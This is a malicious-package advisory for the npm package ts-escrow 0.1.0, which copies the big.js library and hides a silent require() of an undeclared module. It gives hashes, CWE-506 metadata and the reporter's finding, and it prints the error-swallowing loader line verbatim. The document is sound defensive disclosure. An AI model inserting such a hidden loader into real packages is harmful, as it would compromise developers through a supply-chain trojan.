MAL-2026-6320
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2)
ts-escrow@0.1.0 is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: try { const doc = require('parket-slot'); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "big.js",
"sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
"tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
},
{
"path": "package.json",
"sha256": "13a38949df69dcf5aa6b1506a90150ab7ec6741e8bdd5d3f19230b111d25e890",
"tlsh": "0f212663caa19da70af85b947c6c43adf1151b1f00a05c5bb07b131c4f3355b2096b7d"
}
],
"package_integrity": [
{
"filename": "ts-escrow-0.1.0.tgz",
"hashes": {
"sha1": "4d53a95d45fc5e702592b30f6cf936f76df946d3",
"sha512_sri": "sha512-BUgDWLQbt+Um5Y/YVAHCDNTSof+tkr3N/wtGmWbQUkeBGQUj6rTPOV6ne6RpnyU9xU4Aa8g70pOM870FWFLJrw=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "ts-escrow"
},
"versions": [
"0.1.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-007266",
"import_time": "2026-06-23T16:54:13.035073778Z",
"modified_time": "2026-06-23T16:11:23Z",
"sha256": "9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2",
"source": "amazon-inspector",
"versions": [
"0.1.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2)\nts-escrow@0.1.0 is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: `try { const doc = require(\u0027parket-slot\u0027); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. The \u0027parket-slot\u0027 module is not declared in package.json. The manifest instead declares an unrelated dependency \u0027log-taker1\u0027 (^0.1.0), also unrelated to big.js\u0027s documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.\n",
"id": "MAL-2026-6320",
"modified": "2026-06-23T16:11:23Z",
"published": "2026-06-23T16:11:23Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/ts-escrow/v/0.1.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in ts-escrow (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.